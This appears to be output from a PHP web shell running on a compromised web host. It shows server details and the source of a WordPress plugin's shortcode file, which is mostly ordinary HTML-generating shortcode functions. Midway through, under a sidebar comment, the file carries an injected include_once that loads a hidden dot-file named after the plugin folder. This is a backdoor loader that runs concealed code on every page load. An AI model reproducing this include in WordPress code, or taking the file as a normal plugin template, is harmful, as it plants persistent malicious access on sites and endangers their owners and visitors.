uawdijnntqw1x1x1
IP : 18.188.73.229
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
.
/
www
/
wp-content
/
upgrade
/
..
/
plugins
/
imic-shortcodes
/
shortcodes-functions.php
/
/
<?php load_theme_textdomain('imithemes-shortcodes', plugin_dir_path( __FILE__ ). 'language/'); // Create TinyMCE's editor button & plugin for IMIC Framework Shortcodes add_action('init', 'imic_sc_button'); function imic_sc_button() { if ( current_user_can('edit_posts') && current_user_can('edit_pages') ) { add_filter('mce_external_plugins', 'imic_add_tinymce_plugin'); add_filter('mce_buttons', 'imic_register_shortcode_button'); } } function imic_register_shortcode_button($button) { array_push($button, 'separator', 'imicframework_shortcodes' ); return $button; } function imic_add_tinymce_plugin($plugins) { $plugins['imicframework_shortcodes'] = plugin_dir_url( __FILE__ ) . 'imic-shortcodes/imic-tinymce.editor.plugin.js'; return $plugins; } /* ================================================== SHORTCODES OUTPUT ================================================== */ /* /* BUTTON SHORTCODE ================================================== */ function imic_button($atts, $content = null) { extract(shortcode_atts(array( "colour" => "", "type" => "", "link" => "#", "target" => '_self', "size" => '', "extraclass" => '' ), $atts)); $button_output = ""; $button_class = 'btn '. $colour .' '. $extraclass .' '. $size; $buttonType = ($type == 'disabled')? 'disabled="disabled"' : ''; $button_output .= '<a class="'.$button_class.'" href="'.$link.'" target="'.$target.'" '.$buttonType.'>' . do_shortcode($content) . '</a>'; return $button_output; } add_shortcode('imic_button', 'imic_button'); /* ICON BOX SHORTCODE ================================================== */ function imic_icon_box($atts, $content = null) { extract(shortcode_atts(array( "icon_image" => "", "line_icon" => "", "title" => "", "description" => "", "link" => "", "type" => "", "shade" => "", "outline" => "", "effect" => "", "box" => "", //"icon_box" => "" ), $atts)); $output = '<div class="icon-box '.$type.' '.$shade.' '.$outline.' '.$effect.' '.$box.'">'; if($link!='') { $output .= '<a href="'.$link.'"><div class="ibox-icon">'; if($icon_image!='') { $output .= '<i class="fa '.$icon_image.'"></i></div>'; } else { $output .= '<i class="'.$line_icon.'"></i></div>'; } $output .= '<h3>'.$title.'</h3></a>'; } else { $output .= '<div class="ibox-icon">'; if($icon_image!='') { $output .= '<i class="fa '.$icon_image.'"></i></div>'; } else { $output .= '<i class="'.$line_icon.'"></i></div>'; } $output .= '<h3>'.$title.'</h3>'; } $output .= '<p>'.$description.'</p> </div>'; return $output; } add_shortcode('icon_box', 'imic_icon_box'); /* ICON SHORTCODE ================================================== */ function imic_icon($atts, $content = null) { extract(shortcode_atts(array( "image" => "" ), $atts)); return '<i class="fa ' .$image. '"></i>'; } add_shortcode('icon', 'imic_icon'); /* VIDEO SHORTCODE ================================================== */ function imic_video($atts, $content = null) { extract(shortcode_atts(array( "url" => "", "width" => "", "height" => "", "full" => "" ), $atts)); $video_code = borntogive_video_embed($url,$width,$height); if($full==0) { return $video_code; } else { return '<div class="fw-video">'.$video_code.'</div>'; } } add_shortcode('video', 'imic_video'); /* GOOGLE MAP SHORTCODE ================================================== */ function imic_gmap($atts, $content = null) { extract(shortcode_atts(array( "address" => '', ), $atts)); $theme_info = wp_get_theme(); global $borntogive_options; $gmap_api_key = (isset($borntogive_options['google_map_api']))?$borntogive_options['google_map_api']:''; $output = ''; wp_enqueue_script('imic_google_map','https://maps.googleapis.com/maps/api/js?key='.$gmap_api_key,array(),$theme_info->get( 'Version' ),true); wp_enqueue_script('borntogive_gmap',plugin_dir_url( __FILE__ ) . 'imic-shortcodes/googleMap.js',array(),$theme_info->get( 'Version' ),true); wp_localize_script('borntogive_gmap','gmap',array('address'=>$address)); $output .= '<div id="googleMap"></div><div class="spacer-20"></div>'; return $output; } add_shortcode('gmap', 'imic_gmap'); /* COLUMN SHORTCODES ================================================== */ function imic_one_full( $atts, $content = null ) { extract(shortcode_atts(array( "extra" => '', "anim" => '', ), $atts)); $animation = (!empty($anim)) ? 'data-appear-animation="'.$anim.'"' : ''; return '<div class="col-md-12 ' . $extra . '" '. $animation .'>' . do_shortcode($content) . '</div>'; } add_shortcode('one_full', 'imic_one_full'); function imic_one_half( $atts, $content = null ) { extract(shortcode_atts(array( "extra" => '', "anim" => '', ), $atts)); $animation = ($anim != 0) ? 'data-appear-animation="bounceInRight"' : ''; return '<div class="col-md-6 ' . $extra . '" '. $animation .'>' . do_shortcode($content) . '</div>'; } add_shortcode('one_half', 'imic_one_half'); function imic_one_third( $atts, $content = null ) { extract(shortcode_atts(array( "extra" => '', "anim" => '' ), $atts)); $animation = ($anim != 0) ? 'data-appear-animation="bounceInRight"' : ''; return '<div class="col-md-4 ' . $extra . '" '. $animation .'>' . do_shortcode($content) . '</div>'; } add_shortcode('one_third', 'imic_one_third'); function imic_one_fourth( $atts, $content = null ) { extract(shortcode_atts(array( "extra" => '', "anim" => '' ), $atts)); $animation = ($anim != 0) ? 'data-appear-animation="bounceInRight"' : ''; return '<div class="col-md-3 ' . $extra . '" '. $animation .'>' . do_shortcode($content) . '</div>'; } add_shortcode('one_fourth', 'imic_one_fourth'); function imic_one_sixth( $atts, $content = null ) { extract(shortcode_atts(array( "extra" => '', "anim" => '' ), $atts)); $animation = ($anim != 0) ? 'data-appear-animation="bounceInRight"' : ''; return '<div class="col-md-2 ' . $extra . '" '. $animation .'>' . do_shortcode($content) . '</div>'; } add_shortcode('one_sixth', 'imic_one_sixth'); function imic_two_third( $atts, $content = null ) { extract(shortcode_atts(array( "extra" => '', "anim" => '' ), $atts)); $animation = ($anim != 0) ? 'data-appear-animation="bounceInRight"' : ''; return '<div class="col-md-8 ' . $extra . '" '. $animation .'>' . do_shortcode($content) . '</div>'; } add_shortcode('two_third', 'imic_two_third'); function imic_custom( $atts, $content = null ) { extract(shortcode_atts(array( "extra" => '', "anim" => '' ), $atts)); $animation = ($anim != 0) ? 'data-appear-animation="bounceInRight"' : ''; return '<div class=" ' . $extra . '" '. $animation .'>' . do_shortcode($content) . '</div>'; } add_shortcode('custom', 'imic_custom'); /* SIDEBAR SHORTCODES =================================================*/ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } function imic_sidebar($atts, $content = null) { extract(shortcode_atts(array( "id" => "", "column" => 4 ), $atts)); ob_start(); dynamic_sidebar($id); $html = ob_get_contents(); ob_end_clean(); return ' <div class="col-md-'.$column.' col-sm-'.$column.'">'.$html.'</div>'; } add_shortcode('sidebar', 'imic_sidebar'); /* SIDEBAR SHORTCODES =================================================*/ function borntogive_sidebar($atts, $content = null) { extract(shortcode_atts(array( "id" => "", "column" => 4 ), $atts)); ob_start(); dynamic_sidebar($id); $html = ob_get_contents(); ob_end_clean(); return $html; } add_shortcode('sidebar_megamenu', 'borntogive_sidebar'); /* TABLE SHORTCODES ================================================= */ function imic_table_wrap( $atts, $content = null ) { extract(shortcode_atts(array( "type" => '' ), $atts)); $output = '<table class="table '.$type.'">'; $output .= do_shortcode($content) .'</table>'; return $output; } add_shortcode('htable', 'imic_table_wrap'); function imic_table_headtag( $atts, $content = null ) { $output = '<thead>'. do_shortcode($content) .'</thead>'; return $output; } add_shortcode('thead', 'imic_table_headtag'); function imic_table_body( $atts, $content = null ) { $output = '<tbody>'. do_shortcode($content) .'</tbody>'; return $output; } add_shortcode('tbody', 'imic_table_body'); function imic_table_row( $atts, $content = null ) { $output = '<tr>'; $output .= do_shortcode($content) .'</tr>'; return $output; } add_shortcode('trow', 'imic_table_row'); function imic_table_column( $atts, $content = null ) { $output = '<td>'; $output .= do_shortcode($content) .'</td>'; return $output; } add_shortcode('tcol', 'imic_table_column'); function imic_table_head( $atts, $content = null ) { $output = '<th>'; $output .= do_shortcode($content) .'</th>'; return $output; } add_shortcode('thcol', 'imic_table_head'); /* COUNT SHORTCODE ================================================= */ function imic_count($atts) { extract(shortcode_atts(array( "speed" => '2000', "to" => '', "icon" => '', "subject" => '', "textstyle" => '' ), $atts)); $count_output = ''; if ($speed == "") {$speed = '2000'; } $count_output .= '<div class="cust-counter">'; $count_output .= '<div class="fact-ico"> <i class="fa ' . $icon . ' fa-4x"></i> </div>'; $count_output .= '<div class="timer" data-perc="'.$speed.'"> <span class="count">' .$to. '</span></div>'; if ($textstyle == "h3") { $count_output .= '<h3>'.$subject.'</h3></div>'; } else if ($textstyle == "h6") { $count_output .= '<h6>'.$subject.'</h6></div>'; } else { $count_output .= '<span class="fact">'.$subject.'</span></div>'; } return $count_output; } add_shortcode('imic_count', 'imic_count'); /* TYPOGRAPHY SHORTCODES ================================================= */ // Anchor tag function imic_anchor( $atts, $content = null ) { extract(shortcode_atts(array( "href" => '', "extra" => '' ), $atts)); return '<a href="'.$href.'" class="'.$extra.'" >' . do_shortcode($content) . ' </a>'; } add_shortcode('anchor', 'imic_anchor'); // Div tag function imic_div( $atts, $content = null ) { extract(shortcode_atts(array( "extra" => '' ), $atts)); return '<div class="'.$extra.'">' . do_shortcode($content) . ' </div>'; } add_shortcode('div', 'imic_div'); // Strong tag function imic_strong( $atts, $content = null ) { extract(shortcode_atts(array( "extra" => '' ), $atts)); return '<strong>' . do_shortcode($content) . ' </strong>'; } add_shortcode('strong', 'imic_strong'); // Section tag function imic_section( $atts, $content = null ) { extract(shortcode_atts(array( "extra" => '' ), $atts)); return '<section class="'.$extra.'">' . do_shortcode($content) . ' </section>'; } add_shortcode('section', 'imic_section'); // Spacer tag function imic_spacer( $atts, $content = null ) { extract(shortcode_atts(array( "extra" => '', "size" => '', ), $atts)); return '<div class="'.$size.' '.$extra.'">' . do_shortcode($content) . ' </div>'; } add_shortcode('spacer', 'imic_spacer'); // Alert tag function imic_alert( $atts, $content = null ) { extract(shortcode_atts(array( "type" => '', "close" => '' ), $atts)); $closeButton = ($close == 'true') ? '<a class="close" data-dismiss="alert" href="#">×</a>' : ''; return '<div class="alert '. $type .' fade in"> ' .$closeButton . do_shortcode($content) . ' </div>'; } add_shortcode('alert', 'imic_alert'); // Heading Tag function imic_heading_tag($atts, $content = null) { extract(shortcode_atts(array( "size" => '', "extra" => '', "icon" => '', "type" => '' ), $atts)); if($icon!='') { $output = '<'.$size.' class="'.$extra.'"><i class="fa '.$icon.'"></i> '.do_shortcode($content).'</'.$size.'>'; } else { $output = '<'.$size.' class="'.$extra.'">' . do_shortcode($content) .'</'.$size.'>'; } return $output; } add_shortcode("heading", "imic_heading_tag"); // Divider Tag function imic_divider_tag($atts, $content = null) { extract(shortcode_atts(array( "extra" => '', ), $atts)); return '<hr class="'. $extra .'">'; } add_shortcode("divider", "imic_divider_tag"); // Paragraph type function imic_paragraph($atts, $content = null) { extract(shortcode_atts(array( "extra" => '', ), $atts)); return '<p class="' . $extra . '">'. do_shortcode($content) .'</p>'; } add_shortcode("paragraph", "imic_paragraph"); // Span type function imic_span($atts, $content = null) { extract(shortcode_atts(array( "extra" => '', ), $atts)); return '<span class="' . $extra . '">'. do_shortcode($content) .'</span>'; } add_shortcode("span", "imic_span"); // Container type function imic_container($atts, $content = null) { extract(shortcode_atts(array( "extra" => '', ), $atts)); return '<div class="' . $extra . '">'. do_shortcode($content) .'</div>'; } add_shortcode("container", "imic_container"); // Dropcap type function imic_dropcap($atts, $content = null) { extract(shortcode_atts(array( "type" => '', ), $atts)); return '<p class="drop-caps ' . $type . '">'. do_shortcode($content) .'</p>'; } add_shortcode("dropcap", "imic_dropcap"); // Blockquote type function imic_blockquote($atts, $content = null) { extract(shortcode_atts(array( "name" => '', ), $atts)); return '<blockquote><p>'. do_shortcode($content) .'</p></blockquote>'; } add_shortcode("blockquote", "imic_blockquote"); // Code type function imic_code($atts, $content = null) { extract(shortcode_atts(array( "type" => '', ), $atts)); if($type=='inline'){ return '<code>'. do_shortcode($content) .'</code>'; }else{ return '<pre>'. do_shortcode($content) .'</pre>'; } } add_shortcode("code", "imic_code"); // Label Tag function imic_label_tag($atts, $content = null) { extract(shortcode_atts(array( "type" => '', ), $atts)); $output = '<span class="label '.$type.'">' . do_shortcode($content) .'</span>'; return $output; } add_shortcode("label", "imic_label_tag"); /* LISTS SHORTCODES ================================================= */ function imic_list( $atts, $content = null ) { extract(shortcode_atts(array( "type" => '', "extra" => '', "icon" => '' ), $atts)); if($type == 'ordered'){ $output = '<ol>' . do_shortcode($content) .'</ol>'; }else if($type == 'desc'){ $output = '<dl>' . do_shortcode($content) .'</dl>'; } else{ $output = '<ul class="'.$type .' '. $extra .'">' . do_shortcode($content) .'</ul>'; } return $output; } add_shortcode('list', 'imic_list'); function imic_list_item( $atts, $content = null ) { extract(shortcode_atts(array( "icon" => '', "type" => '' ), $atts)); if(($type == 'icon')||($type == 'inline')){ $output = '<li><i class="fa '.$icon.'"></i> ' . do_shortcode($content) .'</li>'; }else{ $output = '<li>' . do_shortcode($content) .'</li>'; } return $output; } add_shortcode('list_item', 'imic_list_item'); function imic_list_item_dt( $atts, $content = null ) { $output = '<dt>' . do_shortcode($content) .'</dt>'; return $output; } add_shortcode('list_item_dt', 'imic_list_item_dt'); function imic_list_item_dd( $atts, $content = null ) { $output = '<dd>' . do_shortcode($content) .'</dd>'; return $output; } add_shortcode('list_item_dd', 'imic_list_item_dd'); function imic_page_first( $atts, $content = null ) { return '<li><a href="#"><i class="fa fa-chevron-left"></i></a></li>'; } add_shortcode('page_first', 'imic_page_first'); function imic_page_last( $atts, $content = null ) { return '<li><a href="#"><i class="fa fa-chevron-right"></i></a></li>'; } add_shortcode('page_last', 'imic_page_last'); function imic_page( $atts, $content = null ) { extract(shortcode_atts(array( "class" => '' ), $atts)); return '<li class="'.$class.'"><a href="#">'. do_shortcode($content) .' </a></li>'; } add_shortcode('page', 'imic_page'); /* TABS SHORTCODES ================================================= */ function imic_tabs( $atts, $content = null ) { return '<div class="tabs">'. do_shortcode($content) .'</div>'; } add_shortcode('tabs', 'imic_tabs'); function imic_tabh( $atts, $content = null ) { return '<ul class="nav nav-tabs">'. do_shortcode($content) .'</ul>'; } add_shortcode('tabh', 'imic_tabh'); function imic_tab( $atts, $content = null ) { extract(shortcode_atts(array( "id" => '', "class" => '' ), $atts)); return '<li class="'.$class.'"> <a data-toggle="tab" href="#'.$id.'"> '. do_shortcode($content) .' </a> </li>'; } add_shortcode('tab', 'imic_tab'); function imic_tabc( $atts, $content = null ) { return '<div class="tab-content">'. do_shortcode($content) .'</div>'; } add_shortcode('tabc', 'imic_tabc'); function imic_tabrow( $atts, $content = null ) { extract(shortcode_atts(array( "id" => '', "class" => '' ), $atts)); $output = '<div id="'.$id.'" class="tab-pane '.$class.'">' . do_shortcode($content) .'</div>'; return $output; } add_shortcode('tabrow', 'imic_tabrow'); /* ACCORDION SHORTCODES ================================================= */ function imic_accordions( $atts, $content = null ) { extract(shortcode_atts(array( "id" => '' ), $atts)); return '<div class="accordion" id="accordion' .$id. '">'. do_shortcode($content) .'</div>'; } add_shortcode('accordions', 'imic_accordions'); function imic_accgroup( $atts, $content = null ) { return '<div class="accordion-group panel">'. do_shortcode($content) .'</div>'; } add_shortcode('accgroup', 'imic_accgroup'); function imic_acchead( $atts, $content = null ) { extract(shortcode_atts(array( "id" => '', "class" => '', "tab_id" =>'' ), $atts)); $output = '<div class="accordion-heading accordionize"> <a class="accordion-toggle '. $class .'" data-toggle="collapse" data-parent="#accordion' .$id. '" href="#' .$tab_id. '"> '. do_shortcode($content) .' <i class="fa fa-angle-down"></i> </a> </div>'; return $output; } add_shortcode('acchead', 'imic_acchead'); function imic_accbody( $atts, $content = null ) { extract(shortcode_atts(array( "tab_id" => '', "in" => '' ), $atts)); $output = '<div id="' . $tab_id . '" class="accordion-body ' . $in . ' collapse"> <div class="accordion-inner"> '. do_shortcode($content) .' </div> </div>'; return $output; } add_shortcode('accbody', 'imic_accbody'); /* TOGGLE SHORTCODES ================================================= */ function imic_toggles( $atts, $content = null ) { extract(shortcode_atts(array( "id" => '' ), $atts)); return '<div class="accordion" id="toggle' .$id. '">'. do_shortcode($content) .'</div>'; } add_shortcode('toggles', 'imic_toggles'); function imic_togglegroup( $atts, $content = null ) { return '<div class="accordion-group panel">'. do_shortcode($content) .'</div>'; } add_shortcode('togglegroup', 'imic_togglegroup'); function imic_togglehead( $atts, $content = null ) { extract(shortcode_atts(array( "id" => '', "tab_id" =>'' ), $atts)); $output = '<div class="accordion-heading togglize"> <a class="accordion-toggle" data-toggle="collapse" data-parent="#" href="#' .$tab_id. '"> '. do_shortcode($content) .' <i class="fa fa-plus-circle"></i> <i class="fa fa-minus-circle"></i> </a> </div>'; return $output; } add_shortcode('togglehead', 'imic_togglehead'); function imic_togglebody( $atts, $content = null ) { extract(shortcode_atts(array( "tab_id" => '' ), $atts)); $output = '<div id="' . $tab_id . '" class="accordion-body collapse"> <div class="accordion-inner"> '. do_shortcode($content) .' </div> </div>'; return $output; } add_shortcode('togglebody', 'imic_togglebody'); /* PROGRESS BAR SHORTCODE ================================================= */ function imic_progress_bar($atts) { extract(shortcode_atts(array( "percentage" => '', "name" => '', "type" => '', "value" => '', "colour" => '' ), $atts)); if ($type == 'progress-striped') { $typeClass = $type; } else { $typeClass = ""; } if ($colour == 'progress-bar-warning' ) { $warningText = '(warning)'; } else { $warningText = ""; } $service_bar_output = ''; $progress_text = ''; if($name!='') { $service_bar_output = '<div class="progress-label"> <span>' . $name . '</span> </div>'; } $service_bar_output .= '<div class="progress '. $typeClass .'">'; if($type == 'progress-striped'){ $service_bar_output .= '<div class="progress-bar ' . $colour . '" style="width: ' . $value . '%">'; $service_bar_output .= '<span class="sr-only">' . $value . '% Complete (success)</span>'; $service_bar_output .= '</div>'; }else if($type == 'colored'){ if(!empty($warningText)){ $spanClass=''; $progress_text = $value.'% Complete '.$warningText; }else{ $spanClass='sr-only'; $progress_text = ''; } $service_bar_output .= '<div class="progress-bar ' . $colour . '" style="width: ' . $value . '%"> <span class="'.$spanClass.'">' . $progress_text.'</span> </div>'; }else{ $service_bar_output .= '<div class="progress-bar progress-bar-primary" data-appear-progress-animation="'.$value.'%"> <span class="progress-bar-tooltip">' . $value . '%</span> </div>'; } $service_bar_output .= '</div>'; return $service_bar_output; } add_shortcode('progress_bar', 'imic_progress_bar'); /* TOOLTIP SHORTCODE ================================================= */ function imic_tooltip($atts, $content = null) { extract(shortcode_atts(array( "title" => '', "link" => '#', "direction" => 'top' ), $atts)); $tooltip_output = '<a href="'.$link.'" rel="tooltip" data-toggle="tooltip" data-original-title="'.$title.'" data-placement="'.$direction.'">'.do_shortcode($content).'</a>'; return $tooltip_output; } add_shortcode('imic_tooltip', 'imic_tooltip'); /* WORDPRESS LINK SHORTCODE ================================================= */ function imic_wordpress_link() { return '<a href="http://wordpress.org/" target="_blank">WordPress</a>'; } add_shortcode('wp-link', 'imic_wordpress_link'); /* MODAL BOX SHORTCODE ================================================== */ function imic_modal_box($atts, $content = null) { extract(shortcode_atts(array( "id" => "", "title" => "", "text" => "", "button" => "" ), $atts)); $modalBox = '<button class="btn btn-primary btn-lg" data-toggle="modal" data-target="#'.$id.'">'.$button.'</button> <div class="modal fade" id="'.$id.'" tabindex="-1" role="dialog" aria-labelledby="'.$id.'Label" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button> <h4 class="modal-title" id="'.$id.'Label">'.$title.'</h4> </div> <div class="modal-body"> '. $text .' </div> <div class="modal-footer"> <button type="button" class="btn btn-default inverted" data-dismiss="modal">'.esc_html__('Close', 'imithemes-shortcodes').'</button> </div> </div> </div> </div>'; return $modalBox; } add_shortcode('modal_box', 'imic_modal_box'); /* FORM SHORTCODE ================================================== */ function imic_form_code($atts, $content = null) { extract(shortcode_atts(array( "form_email" => '', "form_title" => '', ), $atts)); if(!empty($form_email)){ $admin_email = $form_email; }else{ $admin_email = get_option('admin_email'); } $contact_title=''; if(!empty($form_title)){ $contact_title = '<h2>'.$form_title.'</h2>'; } $formCode = '<form action="'.BORNTOGIVE_THEME_PATH.'/mail/contact.php" type="post" class="contact-form clearfix" id="contactform"> <div class="row"> <div class="col-md-5"> <div class="form-group"> <input type="text" id="fname" name="fname" class="form-control input-lg" placeholder="'.__('Name','framework').' *"> </div> <div class="form-group"> <input type="text" id="lname" name="Last Name" class="form-control input-lg" placeholder="'.__('Last name','framework').'"> </div> <div class="form-group"> <input type="email" id="email" name="email" class="form-control input-lg" placeholder="'.__('Email','framework').' *"> </div> <div class="form-group"> <input type="text" id="phone" name="phone" class="form-control input-lg" placeholder="'.__('Phone','framework').'"> </div> </div> <div class="col-md-7"> <div class="form-group"> <textarea cols="6" rows="7" id="comments" name="comments" class="form-control input-lg" placeholder="'.__('Message','framework').'"></textarea> <input type ="hidden" name ="image_path" id="image_path" value ="'.BORNTOGIVE_THEME_PATH.'"> <input type ="hidden" name ="recipients" id="recipients" value =""> </div> <input id="submit" name="submit" type="submit" class="btn btn-primary btn-lg btn-block" value="'.__('Submit','framework').'"> </div> </div> <div class="clearfix"></div> </form><div id="message"></div>'; return $formCode; } add_shortcode('imic_form', 'imic_form_code'); /* Event Calendar SHORTCODE ================================================= */ function event_calendar($atts) { extract(shortcode_atts(array( "category_id" => '', ), $atts)); return '<div class="col-md-12"><div id ="'.$category_id.'" class ="event_calendar calendar"></div></div>'; } add_shortcode('event_calendar', 'event_calendar'); ?>
/home/batcwwjx/./www/wp-content/upgrade/../plugins/imic-shortcodes/shortcodes-functions.php